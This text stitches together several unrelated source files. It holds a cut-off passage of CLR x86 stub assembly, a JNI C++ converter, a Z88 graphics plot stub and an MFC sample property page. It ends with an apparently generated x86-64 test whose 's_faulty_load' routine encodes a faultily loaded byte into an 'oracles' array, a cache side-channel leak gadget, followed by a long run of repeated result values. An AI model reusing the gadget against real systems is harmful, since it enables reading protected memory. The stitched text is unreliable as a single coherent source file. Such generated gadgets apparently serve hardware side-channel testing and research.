*pInputStack, ; [esp + c] ; WORD wOutputStackSlots, ; [esp +10] ; UINT16 *pOutputStackOffsets, ; [esp +14] ; Frame *pCurFrame); ; [esp +18] FASTCALL_FUNC COMToCLRDispatchHelper, 32 ; ecx: dwArgECX ; edx: dwArgEDX offset_pTarget equ 4 offset_pSecretArg equ 8 offset_pInputStack equ 0Ch offset_wOutputStackSlots equ 10h offset_pOutputStackOffsets equ 14h offset_pCurFrame equ 18h movzx eax, word ptr [esp + offset_wOutputStackSlots] test eax, eax jnz CopyStackArgs ; There are no stack args to copy and ECX and EDX are already setup ; with the correct arguments for the callee, so we just have to ; push the CPFH and make the call. PUSH_CPFH_FOR_COM eax, esp, offset_pCurFrame ; trashes eax mov eax, [esp + offset_pSecretArg + CPFH_STACK_SIZE] call [esp + offset_pTarget + CPFH_STACK_SIZE] ifdef _DEBUG nop ; This is a tag that we use in an assert. endif POP_CPFH_FOR_COM ecx ; trashes ecx ret 18h CopyStackArgs: ; eax: num stack slots ; ecx: dwArgECX ; edx: dwArgEDX push ebp mov ebp, esp push ebx push esi push edi ebpFrame_adjust equ 4h ebp_offset_pCurFrame equ ebpFrame_adjust + offset_pCurFrame PUSH_CPFH_FOR_COM ebx, ebp, ebp_offset_pCurFrame ; trashes ebx mov edi, [ebp + ebpFrame_adjust + offset_pOutputStackOffsets] mov esi, [ebp + ebpFrame_adjust + offset_pInputStack] ; eax: num stack slots ; ecx: dwArgECX ; edx: dwArgEDX ; edi: pOutputStackOffsets ; esi: pInputStack CopyStackLoop: dec eax movzx ebx, word ptr [edi + 2 * eax] ; ebx <- input stack offset push [esi + ebx] ; stack <- value on the input stack jnz CopyStackLoop ; ECX and EDX are setup with the correct arguments for the callee, ; and we've copied the stack arguments over as well, so now it's ; time to make the call. mov eax, [ebp + ebpFrame_adjust + offset_pSecretArg] call [ebp + ebpFrame_adjust + offset_pTarget] ifdef _DEBUG nop ; This is a tag that we use in an assert. endif POP_CPFH_FOR_COM ecx ; trashes ecx pop edi pop esi pop ebx pop ebp ret 18h FASTCALL_ENDFUNC endif ; FEATURE_COMINTEROP ifndef FEATURE_CORECLR ;========================================================================== ; This is small stub whose purpose is to record current stack pointer and ; call CopyCtorCallStubWorker to invoke copy constructors and destructors ; as appropriate. This stub operates on arguments already pushed to the ; stack by JITted IL stub and must not create a new frame, i.e. it must tail ; call to the target for it to see the arguments that copy ctors have been ; called on. ; _CopyCtorCallStub@0 proc public ; there may be an argument in ecx - save it push ecx ; push pointer to arguments lea edx, [esp + 8] push edx call _CopyCtorCallStubWorker@4 ; restore ecx and tail call to the target pop ecx jmp eax _CopyCtorCallStub@0 endp endif ; !FEATURE_CORECLR ifdef FEATURE_PREJIT ;========================================================================== _StubDispatchFixupStub@0 proc public STUB_PROLOG mov esi, esp push 0 push 0 push eax ; siteAddrForRegisterIndirect (for tailcalls) push esi ; pTransitionBlock call _StubDispatchFixupWorker@16 STUB_EPILOG _StubDispatchFixupPatchLabel@0: public _StubDispatchFixupPatchLabel@0 ; Tailcall target jmp eax ; This will never be executed. It is just to help out stack-walking logic ; which disassembles the epilog to unwind the stack. ret _StubDispatchFixupStub@0 endp endif ; FEATURE_PREJIT ;========================================================================== _ExternalMethodFixupStub@0 proc public pop eax ; pop off the return address to the stub ; leaving the actual caller's return address on top of the stack STUB_PROLOG mov esi, esp ; EAX is return address into CORCOMPILE_EXTERNAL_METHOD_THUNK. Subtract 5 to get start address. sub eax, 5 push 0 push 0 push eax ; pTransitionBlock push esi call _ExternalMethodFixupWorker@16 ; eax now contains replacement stub. PreStubWorker will never return ; NULL (it throws an exception if stub creation fails.) ; From here on, mustn't trash eax STUB_EPILOG _ExternalMethodFixupPatchLabel@0: public _ExternalMethodFixupPatchLabel@0 ; Tailcall target jmp eax ; This will never be executed. It is just to help out stack-walking logic ; which disassembles the epilog to unwind the stack. ret _ExternalMethodFixupStub@0 endp ifdef FEATURE_READYTORUN ;========================================================================== _DelayLoad_MethodCall@0 proc public STUB_PROLOG_2_HIDDEN_ARGS mov esi, esp push ecx push edx push eax ; pTransitionBlock push esi call _ExternalMethodFixupWorker@16 ; eax now contains replacement stub. PreStubWorker will never return ; NULL (it throws an exception if stub creation fails.) ; From here on, mustn't trash eax STUB_EPILOG ; Share the patch label jmp _ExternalMethodFixupPatchLabel@0 ; This will never be executed. It is just to help out stack-walking logic ; which disassembles the epilog to unwind the stack. ret _DelayLoad_MethodCall@0 endp endif ifdef FEATURE_PREJIT ;======================================================================================= ; The call in softbound vtable slots initially points to this function. ; The pupose of this function is to transfer the control to right target and ; to optionally patch the target of the jump so that we do not take this slow path again. ; _VirtualMethodFixupStub@0 proc public pop eax ; Pop the return address. It points right after the call instruction in the thunk. sub eax,5 ; Calculate the address of the thunk ; Push ebp frame to get good callstack under debugger push ebp mov ebp, esp ; Preserve argument registers push ecx push edx push eax ; address of the thunk push ecx ; this ptr call _VirtualMethodFixupWorker@8 ; Restore argument registers pop edx pop ecx ; Pop ebp frame pop ebp _VirtualMethodFixupPatchLabel@0: public _VirtualMethodFixupPatchLabel@0 ; Proceed to execute the actual method. jmp eax ; This will never be executed. It is just to help out stack-walking logic ; which disassembles the epilog to unwind the stack. ret _VirtualMethodFixupStub@0 endp endif ;========================================================================== ; The prestub _ThePreStub@0 proc public STUB_PROLOG mov esi, esp ; EAX contains MethodDesc* from the precode. Push it here as argument ; for PreStubWorker push eax push esi call _PreStubWorker@8 ; eax now contains replacement stub. PreStubWorker will never return ; NULL (it throws an exception if stub creation fails.) ; From here on, mustn't trash eax STUB_EPILOG ; Tailcall target jmp eax ; This will never be executed. It is just to help out stack-walking logic ; which disassembles the epilog to unwind the stack. ret _ThePreStub@0 endp ; This method does nothing. It's just a fixed function for the debugger to put a breakpoint ; on so that it can trace a call target. _ThePreStubPatch@0 proc public ; make sure that the basic block is unique test eax,34 _ThePreStubPatchLabel@0: public _ThePreStubPatchLabel@0 ret _ThePreStubPatch@0 endp ifdef FEATURE_COMINTEROP ;========================================================================== ; CLR -> COM generic or late-bound call _GenericComPlusCallStub@0 proc public STUB_PROLOG ; pTransitionBlock mov esi, esp ; return value sub esp, 8 ; save pMD mov ebx, eax push eax ; pMD push esi ; pTransitionBlock call _CLRToCOMWorker@8 push eax call _setFPReturn@12 ; pop & set the return value ; From here on, mustn't trash eax:edx ; Get pComPlusCallInfo for return thunk mov ecx, [ebx + ComPlusCallMethodDesc__m_pComPlusCallInfo] STUB_EPILOG_RETURN ; Tailcall return thunk jmp [ecx + ComPlusCallInfo__m_pRetThunk] ; This will never be executed. It is just to help out stack-walking logic ; which disassembles the epilog to unwind the stack. ret _GenericComPlusCallStub@0 endp endif ; FEATURE_COMINTEROP ifdef FEATURE_COMINTEROP ;-------------------------------------------------------------------------- ; This is the code that all com call method stubs run initially. ; Most of the real work occurs in ComStubWorker(), a C++ routine. ; The template only does the part that absolutely has to be in assembly ; language. ;-------------------------------------------------------------------------- _ComCallPreStub@0 proc public pop eax ;ComCallMethodDesc* ; push ebp-frame push ebp mov ebp,esp ; save CalleeSavedRegisters push ebx push esi push edi push eax ; ComCallMethodDesc* sub esp, 5*4 ; next, vtable, gscookie, 64-bit error return lea edi, [esp] lea esi, [esp+3*4] push edi ; pErrorReturn push esi ; pFrame call _ComPreStubWorker@8 ; eax now contains replacement stub. ComStubWorker will return NULL if stub creation fails cmp eax, 0 je nostub ; oops we could not create a stub add esp, 6*4 ; pop CalleeSavedRegisters pop edi pop esi pop ebx pop ebp jmp eax ; Reexecute with replacement stub. ; We will never get here. This "ret" is just so that code-disassembling ; profilers know to stop disassembling any further ret nostub: ; Even though the ComPreStubWorker sets a 64 bit value as the error return code. ; Only the lower 32 bits contain usefula data. The reason for this is that the ; possible error return types are: failure HRESULT, 0 and floating point 0. ; In each case, the data fits in 32 bits. Instead, we use the upper half of ; the return value to store number of bytes to pop mov eax, [edi] mov edx, [edi+4] add esp, 6*4 ; pop CalleeSavedRegisters pop edi pop esi pop ebx pop ebp pop ecx ; return address add esp, edx ; pop bytes of the stack push ecx ; return address ; We need to deal with the case where the method is PreserveSig=true and has an 8 ; byte return type. There are 2 types of 8 byte return types: integer and floating point. ; For integer 8 byte return types, we always return 0 in case of failure. For floating ; point return types, we return the value in the floating point register. In both cases ; edx should be 0. xor edx, edx ; edx <-- 0 ret _ComCallPreStub@0 endp endif ; FEATURE_COMINTEROP ifdef FEATURE_READYTORUN ;========================================================================== ; Define helpers for delay loading of readytorun helpers DYNAMICHELPER macro frameFlags, suffix _DelayLoad_Helper&suffix&@0 proc public STUB_PROLOG_2_HIDDEN_ARGS mov esi, esp push frameFlags push ecx ; module push edx ; section index push eax ; indirection cell address. push esi ; pTransitionBlock call _DynamicHelperWorker@20 test eax,eax jnz @F mov eax, [esi] ; The result is stored in the argument area of the transition block STUB_EPILOG_RETURN ret @@: STUB_EPILOG jmp eax _DelayLoad_Helper&suffix&@0 endp endm DYNAMICHELPER DynamicHelperFrameFlags_Default DYNAMICHELPER DynamicHelperFrameFlags_ObjectArg, _Obj DYNAMICHELPER <DynamicHelperFrameFlags_ObjectArg OR DynamicHelperFrameFlags_ObjectArg2>, _ObjObj endif ; FEATURE_READYTORUN end
#include "CppToJavaConverter.h" #include <jni.h> jobject CppToJavaConverter::createPlace(Place place, JNIEnv *env) { jclass placeClass = env->FindClass("fr/mim/cl/server/model/Place"); jmethodID placeConstructor = env->GetMethodID(placeClass, "<init>", "(JLjava/lang/String;DD)V"); jobject placeObject = env->NewObject(placeClass, placeConstructor, (jint)place.id, env->NewStringUTF(place.name.c_str()), (jdouble)place.x, (jdouble)place.y); return placeObject; } jobject CppToJavaConverter::createPath(Path path, JNIEnv *env) { jclass pathClass = env->FindClass("fr/mim/cl/server/model/Path"); jmethodID pathConstructor = env->GetMethodID(pathClass, "<init>", "(Lfr/mim/cl/server/model/Place;Lfr/mim/cl/server/model/Place;)V"); jobject startPlace = createPlace(path.start, env); jobject endPlace = createPlace(path.end, env); jobject pathObject = env->NewObject(pathClass, pathConstructor, startPlace, endPlace); return pathObject; } jobject CppToJavaConverter::createArrayListOfPlace(vector<Place> placeList, JNIEnv *env) { jclass arrayListClass = env->FindClass("java/util/ArrayList"); jmethodID arrayListConstructor = env->GetMethodID(arrayListClass, "<init>", "()V"); jmethodID addToArrayList = env->GetMethodID(arrayListClass, "add", "(Ljava/lang/Object;)Z"); jobject arrayList = env->NewObject(arrayListClass, arrayListConstructor); for (Place &place : placeList) { env->CallObjectMethod(arrayList, addToArrayList, createPlace(place, env)); } return arrayList; } jobject CppToJavaConverter::createArrayListOfPath(vector<Path> pathList, JNIEnv *env) { jclass arrayListClass = env->FindClass("java/util/ArrayList"); jmethodID arrayListConstructor = env->GetMethodID(arrayListClass, "<init>", "()V"); jmethodID addToArrayList = env->GetMethodID(arrayListClass, "add", "(Ljava/lang/Object;)Z"); jobject arrayList = env->NewObject(arrayListClass, arrayListConstructor); for (Path &path : pathList) { env->CallObjectMethod(arrayList, addToArrayList, createPath(path, env)); } return arrayList; }
; ; Z88 Graphics Functions - Small C+ stubs ; ; Written around the Interlogic Standard Library ; ; Stubs Written by D Morris - 30/9/98 ; ; ; $Id: plot.asm,v 1.8 2016-04-13 21:09:09 dom Exp $ ; ;Usage: plot(struct *pixel) SECTION code_clib PUBLIC plot PUBLIC _plot EXTERN swapgfxbk EXTERN __graphics_end EXTERN plotpixel .plot ._plot push ix ld ix,2 add ix,sp ld l,(ix+2) ld h,(ix+4) call swapgfxbk call plotpixel jp __graphics_end
// This is a part of the Microsoft Foundation Classes C++ library. // Copyright (c) Microsoft Corporation. All rights reserved. // // This source code is only intended as a supplement to the // Microsoft Foundation Classes Reference and related // electronic documentation provided with the library. // See these sources for detailed information regarding the // Microsoft Foundation Classes product. #include "stdafx.h" #include "NewControls.h" #include "Page1.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif const size_t MAX_TIP_TEXT_LENGTH = 1024; ///////////////////////////////////////////////////////////////////////////// // CPage1 property page IMPLEMENT_DYNCREATE(CPage1, CMFCPropertyPage) CPage1::CPage1() : CMFCPropertyPage(CPage1::IDD) { m_bXPButtons = TRUE; m_bCheck = TRUE; m_strToolTip = _T("ToolTip"); m_iImage = 2; m_iBorderStyle = 0; m_iCursor = 0; m_bMenuStayPressed = FALSE; m_bRightArrow = FALSE; m_nImageLocation = 0; m_bMenuDefaultClick = FALSE; } CPage1::~CPage1() { } void CPage1::DoDataExchange(CDataExchange* pDX) { CMFCPropertyPage::DoDataExchange(pDX); DDX_Control(pDX, IDC_BUTTON_MULTLINE, m_btnMultiLine); DDX_Control(pDX, IDC_BORDER, m_wndBorder); DDX_Control(pDX, IDC_BORDER_LABEL, m_wndBorderLabel); DDX_Control(pDX, IDC_CHECK_BUTTON, m_btnCheck); DDX_Control(pDX, IDC_XP_BUTTONS, m_wndXPButtons); DDX_Check(pDX, IDC_XP_BUTTONS, m_bXPButtons); DDX_Check(pDX, IDC_CHECK_BUTTON, m_bCheck); DDX_Control(pDX, IDC_BUTTON, m_Button); DDX_Text(pDX, IDC_TOOLTIP, m_strToolTip); DDX_Control(pDX, IDC_TOOLTIP, m_wndToolTip); DDX_CBIndex(pDX, IDC_IMAGE, m_iImage); DDX_CBIndex(pDX, IDC_BORDER, m_iBorderStyle); DDX_CBIndex(pDX, IDC_CURSOR, m_iCursor); DDX_Control(pDX, IDC_BUTTON_MENU, m_btnMenu); DDX_Check(pDX, IDC_PRESSED_ON_MENU, m_bMenuStayPressed); DDX_Check(pDX, IDC_RIGHT_ARROW, m_bRightArrow); DDX_CBIndex(pDX, IDC_IMAGE_LOCATION, m_nImageLocation); DDX_Check(pDX, IDC_MENU_DEFAULT_CLICK, m_bMenuDefaultClick); DDX_Control(pDX, IDC_RADIO1, m_btnRadio1); DDX_Control(pDX, IDC_RADIO2, m_btnRadio2); DDX_Control(pDX, IDC_RADIO3, m_btnRadio3); DDX_Control(pDX, IDC_RADIO4, m_btnRadio4); } BEGIN_MESSAGE_MAP(CPage1, CMFCPropertyPage) ON_BN_CLICKED(IDC_XP_BUTTONS, OnXpButtons) ON_BN_CLICKED(IDC_SET_TOOLTIP, OnSetTooltip) ON_CBN_SELCHANGE(IDC_CURSOR, OnSetCursor) ON_BN_CLICKED(IDC_BUTTON, OnButton) ON_BN_CLICKED(IDC_RIGHT_ARROW, OnRightArrow) ON_BN_CLICKED(IDC_BUTTON_MENU, OnButtonMenu) ON_BN_CLICKED(IDC_PRESSED_ON_MENU, OnPressedOnMenu) ON_COMMAND(ID_DIALOG_ABOUT, OnDialogAbout) ON_UPDATE_COMMAND_UI(ID_ITEM_2, OnUpdateItem2) ON_CBN_SELCHANGE(IDC_IMAGE, OnResetButton) ON_CBN_SELCHANGE(IDC_BORDER, OnResetButton) ON_CBN_SELCHANGE(IDC_IMAGE, OnResetButton) ON_CBN_SELCHANGE(IDC_BORDER, OnResetButton) ON_CBN_SELCHANGE(IDC_IMAGE_LOCATION, OnResetButton) ON_BN_CLICKED(IDC_MENU_DEFAULT_CLICK, OnMenuDefaultClick) END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CPage1 message handlers void CPage1::OnXpButtons() { UpdateData(); CMFCButton::EnableWindowsTheming(m_bXPButtons); m_wndBorder.EnableWindow(!m_bXPButtons); m_wndBorderLabel.EnableWindow(!m_bXPButtons); RedrawWindow(); } BOOL CPage1::OnInitDialog() { CMFCPropertyPage::OnInitDialog(); if (!CMFCVisualManagerWindows::IsWinXPThemeAvailable()) { m_bXPButtons = FALSE; m_wndXPButtons.EnableWindow(FALSE); } else { m_wndBorder.EnableWindow(FALSE); m_wndBorderLabel.EnableWindow(FALSE); } m_Button.m_bTransparent = TRUE; OnResetButton(); OnSetCursor(); OnSetTooltip(); m_menu.LoadMenu(IDR_MENU1); m_btnMenu.m_hMenu = m_menu.GetSubMenu(0)->GetSafeHmenu(); m_btnMenu.SizeToContent(); m_btnMenu.m_bOSMenu = FALSE; m_wndToolTip.SetLimitText(MAX_TIP_TEXT_LENGTH); BOOL b32BitIcons = afxGlobalData.m_nBitsPerPixel >= 16; m_btnCheck.SetImage(b32BitIcons ? IDB_CHECKNO32 : IDB_CHECKNO); m_btnCheck.SetCheckedImage(b32BitIcons ? IDB_CHECK32 : IDB_CHECK); m_btnCheck.SizeToContent(); m_btnCheck.m_nFlatStyle = CMFCButton::BUTTONSTYLE_SEMIFLAT; m_btnRadio1.m_nFlatStyle = CMFCButton::BUTTONSTYLE_SEMIFLAT; m_btnRadio2.m_nFlatStyle = CMFCButton::BUTTONSTYLE_SEMIFLAT; m_btnRadio3.m_nFlatStyle = CMFCButton::BUTTONSTYLE_SEMIFLAT; m_btnRadio4.m_nFlatStyle = CMFCButton::BUTTONSTYLE_SEMIFLAT; m_btnRadio1.SetImage(b32BitIcons ? IDB_RADIO_OFF32 : IDB_RADIO_OFF); m_btnRadio2.SetImage(b32BitIcons ? IDB_RADIO_OFF32 : IDB_RADIO_OFF); m_btnRadio3.SetImage(b32BitIcons ? IDB_RADIO_OFF32 : IDB_RADIO_OFF); m_btnRadio4.SetImage(b32BitIcons ? IDB_RADIO_OFF32 : IDB_RADIO_OFF); m_btnRadio1.SetCheckedImage(b32BitIcons ? IDB_RADIO_ON32 : IDB_RADIO_ON); m_btnRadio2.SetCheckedImage(b32BitIcons ? IDB_RADIO_ON32 : IDB_RADIO_ON); m_btnRadio3.SetCheckedImage(b32BitIcons ? IDB_RADIO_ON32 : IDB_RADIO_ON); m_btnRadio4.SetCheckedImage(b32BitIcons ? IDB_RADIO_ON32 : IDB_RADIO_ON); m_btnRadio1.SizeToContent(); m_btnRadio2.SizeToContent(); m_btnRadio3.SizeToContent(); m_btnRadio4.SizeToContent(); m_btnRadio1.SetCheck(TRUE); m_btnMultiLine.SizeToContent(); CMFCToolBar::AddToolBarForImageCollection(IDR_TOOLBAR_MENU_IMAGES); UpdateData(FALSE); return TRUE; // return TRUE unless you set the focus to a control } void CPage1::OnResetButton() { UpdateData(); switch (m_iBorderStyle) { case 0: m_Button.m_nFlatStyle = CMFCButton::BUTTONSTYLE_FLAT; break; case 1: m_Button.m_nFlatStyle = CMFCButton::BUTTONSTYLE_SEMIFLAT; break; case 2: m_Button.m_nFlatStyle = CMFCButton::BUTTONSTYLE_3D; } if (m_iImage == 1) // Text only { m_Button.SetImage((HBITMAP) NULL); } else { BOOL b32BitIcons = afxGlobalData.m_nBitsPerPixel >= 16; if (b32BitIcons) { m_Button.SetImage(IDB_BTN1_32, IDB_BTN1_HOT_32); } else { m_Button.SetImage(IDB_BTN1, IDB_BTN1_HOT); } } if (m_iImage == 0) { m_Button.SetWindowText(_T("")); } else { m_Button.SetWindowText(_T("Button")); } switch (m_nImageLocation) { case 0: m_Button.m_bRightImage = FALSE; m_Button.m_bTopImage = FALSE; break; case 1: m_Button.m_bRightImage = TRUE; m_Button.m_bTopImage = FALSE; break; case 2: m_Button.m_bRightImage = FALSE; m_Button.m_bTopImage = TRUE; break; } m_Button.SizeToContent(); m_Button.Invalidate(); } void CPage1::OnSetCursor() { UpdateData(); switch (m_iCursor) { case 0: m_Button.SetMouseCursor(NULL); break; case 1: m_Button.SetMouseCursorHand(); break; case 2: m_Button.SetMouseCursor(AfxGetApp()->LoadCursor(IDC_CURSOR)); break; } } void CPage1::OnButton() { MessageBox(_T("Button Clicked!")); } void CPage1::OnSetTooltip() { UpdateData(); m_Button.SetTooltip(m_strToolTip); } void CPage1::OnPressedOnMenu() { UpdateData(); m_btnMenu.m_bStayPressed = m_bMenuStayPressed; } void CPage1::OnRightArrow() { UpdateData(); m_btnMenu.m_bRightArrow = m_bRightArrow; m_btnMenu.Invalidate(); } void CPage1::OnButtonMenu() { CString strItem; switch (m_btnMenu.m_nMenuResult) { case ID_ITEM_1: strItem = _T("Item 1"); break; case ID_ITEM_2: strItem = _T("Item 2"); break; case ID_ITEM_3: strItem = _T("Item 3"); break; case ID_ITEM_4: strItem = _T("Item 4"); break; default: if (!m_bMenuDefaultClick) { return; } strItem = _T("Default Menu Button Action"); break; } MessageBox(strItem); } void CPage1::OnDialogAbout() { CAboutDlg aboutDlg; aboutDlg.DoModal(); } void CPage1::OnUpdateItem2(CCmdUI* pCmdUI) { pCmdUI->SetCheck(); } void CPage1::OnMenuDefaultClick() { UpdateData(); m_btnMenu.m_bDefaultClick = m_bMenuDefaultClick; m_btnMenu.RedrawWindow(); }
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r14 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1b633, %r12 nop nop nop nop and %rbp, %rbp movb $0x61, (%r12) nop nop nop sub $28994, %r14 lea addresses_UC_ht+0xb147, %r13 clflush (%r13) nop nop nop nop and %rdi, %rdi mov $0x6162636465666768, %rax movq %rax, (%r13) nop cmp $33033, %rax lea addresses_normal_ht+0x1a143, %r14 nop nop nop nop nop inc %r13 mov $0x6162636465666768, %rbp movq %rbp, (%r14) nop nop nop inc %r10 lea addresses_UC_ht+0xbb47, %rsi lea addresses_A_ht+0x16927, %rdi nop nop nop nop dec %rbp mov $23, %rcx rep movsq nop nop nop cmp $2625, %rbp lea addresses_A_ht+0xbf49, %rcx nop nop nop nop xor %r12, %r12 movups (%rcx), %xmm7 vpextrq $1, %xmm7, %r14 nop nop nop cmp $7575, %r14 lea addresses_WT_ht+0x1107f, %rsi lea addresses_UC_ht+0x16647, %rdi nop nop nop nop nop cmp $23338, %rbp mov $25, %rcx rep movsb nop nop nop nop mfence lea addresses_WC_ht+0x4e47, %rax nop inc %rsi mov (%rax), %r10d nop nop nop nop cmp %r10, %r10 lea addresses_A_ht+0x9d49, %rax nop inc %r10 movw $0x6162, (%rax) nop dec %rdi lea addresses_UC_ht+0x167b7, %rsi lea addresses_A_ht+0x2907, %rdi xor $29157, %rbp mov $28, %rcx rep movsb nop nop nop nop nop xor $20888, %r12 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r14 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r14 push %r15 push %rbp push %rbx // Store mov $0x4fb6670000000147, %r10 nop nop add $47147, %rbx mov $0x5152535455565758, %rbp movq %rbp, %xmm4 movntdq %xmm4, (%r10) nop nop add %r10, %r10 // Load lea addresses_WT+0x11a47, %r13 cmp %r10, %r10 mov (%r13), %r15d nop nop nop nop cmp $33474, %rbp // Load lea addresses_WC+0x3507, %r13 nop nop cmp %rbp, %rbp mov (%r13), %r11 sub $22251, %r11 // Store lea addresses_A+0x16cdb, %rbx nop nop nop nop dec %r11 movb $0x51, (%rbx) nop nop nop nop nop add %r10, %r10 // Store lea addresses_US+0x1f6e7, %rbx nop nop nop nop nop xor %r10, %r10 movl $0x51525354, (%rbx) nop nop nop nop nop cmp $14191, %rbx // Faulty Load lea addresses_WT+0x19147, %r10 nop nop nop sub %r14, %r14 mov (%r10), %rbx lea oracles, %r15 and $0xff, %rbx shlq $12, %rbx mov (%r15,%rbx,1), %rbx pop %rbx pop %rbp pop %r15 pop %r14 pop %r13 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': True, 'same': False, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': True, 'size': 2}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 10, 'type': 'addresses_NC', 'AVXalign': False, 'size': 16}} {'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_WT', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_WC', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_A', 'AVXalign': False, 'size': 1}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_US', 'AVXalign': False, 'size': 4}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1}} {'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 6, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8}} {'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 2, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8}} {'src': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 3, 'type': 'addresses_A_ht'}} {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 2, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_UC_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_A_ht', 'AVXalign': True, 'size': 2}} {'src': {'same': False, 'congruent': 4, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 3, 'type': 'addresses_A_ht'}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
